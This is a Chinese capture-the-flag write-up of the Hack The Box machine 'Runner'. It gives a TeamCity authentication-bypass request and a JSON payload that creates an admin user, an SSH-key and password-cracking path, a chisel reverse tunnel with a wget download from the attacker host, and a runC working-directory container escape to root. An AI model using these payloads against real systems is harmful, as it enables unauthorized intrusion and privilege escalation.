0%

Runner

JetBrains TeamCity 身份验证绕过漏洞、runC 逃逸漏洞

Runner

信息搜集

nmap扫描端口

1
nmap -sV -v 10.10.11.13

扫描结果如下

1
2
3
4
PORT     STATE SERVICE     VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
8000/tcp open nagios-nsca Nagios NSCA

访问80端口发现重定向,添加到/etc/hosts后成功访问

一番搜索没什么东西,扫一下目录和子域名

发现状态码为401,将该子域名添加到hosts文件,访问是登陆界面

扫一下目录

当我们访问/404.html的时候发现是JetBrains

由于是登陆界面,去网上找到篇文章是关于JetBrains TeamCity身份验证绕过的漏洞 文章链接

这里就不进行分析了,直接按照文章打exp

获取用户列表

1
/xxx?jsp=/app/rest/users;.jsp

可以看到存在四个用户

我们添加管理员用户,payload如下(注意解析json数据)

1
{"username": "test", "password": "test", "email": "test@qq.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

我们再查看下用户列表,发现添加test用户成功

看漏洞是说有两种可以getshell,一种是上传插件另外一种是利用token绕过权限命令执行

测试一下都没成功,正确解法是管理界面存在备份文件

下载下来后,在users文件找到用户及密码

john的密码爆破要很久,成功爆破用户matthew的密码piper123

不过这里

我们继续去找私钥文件

1
grep -rnw . -e "BEGIN OPENSSH PRIVATE KEY"

得到文件路径./config/projects/AllProjects/pluginData/ssh_keys/id_rsa

我们使用cp命令放到我们当前文件夹,尝试ssh登陆发现刚好就是john的私钥文件

1
ssh -i id_rsa john@10.10.11.13

拿到user的flag,由于不知道john的密码,无法用sudo提权

只能分析一下网络连接的端口情况

1
netstat -nltp

这里注意到9000端口是开放的,使用工具chisel搭建隧道把目标9000端口映射到本地

1
2
本机:./chisel server -p 6150 --reverse
靶机:./chisel client 10.10.14.60:6150 R:9000:127.0.0.1:9000 #R表示反向隧道

在本机开启监听6150端口,并执行反向连接,然后靶机主动去监听ip为10.10.14.60的本机并将9000端口映射到本机9000端口

首先在本地开启http服务,然后传上去chisel

1
wget http://10.10.14.60:777/chisel

然后就是在本机开启监听后,靶机上执行命令即可搭建隧道

注意两个点

  • 第一就是本机kali上pip安装的和我们传上去的chisel版本会不一致,所以传哪个本机上就用哪个
  • 第二就是记得赋予可执行权限给chisel

搭建隧道成功后访问本地9000端口,发现是登陆界面

我们拿刚刚爆破得到的用户密码成功登陆

是个管理容器的平台,点击容器查看docker版本为25.03,对应runc版本1.0.0-rc93

此版本的runc存在容器逃逸漏洞 参考文章

根据参考文章,攻击者可通过以下两种方式利用该漏洞:

  • 启动一个容器时将容器的工作目录设置为/proc/self/fd/<fd><fd>为打开 /sys/fs/cgroup 目录时返回的文件描述符,一般情况下为 7 或 8)。
  • 在容器中为/proc/self/fd/<fd><fd> 为打开/sys/fs/cgroup目录时返回的文件描述符,一般情况下为 7 或 8) 创建一个符号链接。当外部在该容器中执行命令时,容器中可通过/proc/<PID>/cwd符号链接访问宿主机文件系统中的/sys/fs/cgroup目录,并利用形如/proc/<PID>/cwd/../../../的路径访问宿主机文件系统。

我们先添加新的volume

然后创建新容器

修改工作目录

注意要设置volume

创建好后,进入控制台填上root去连接

成功得到root的flag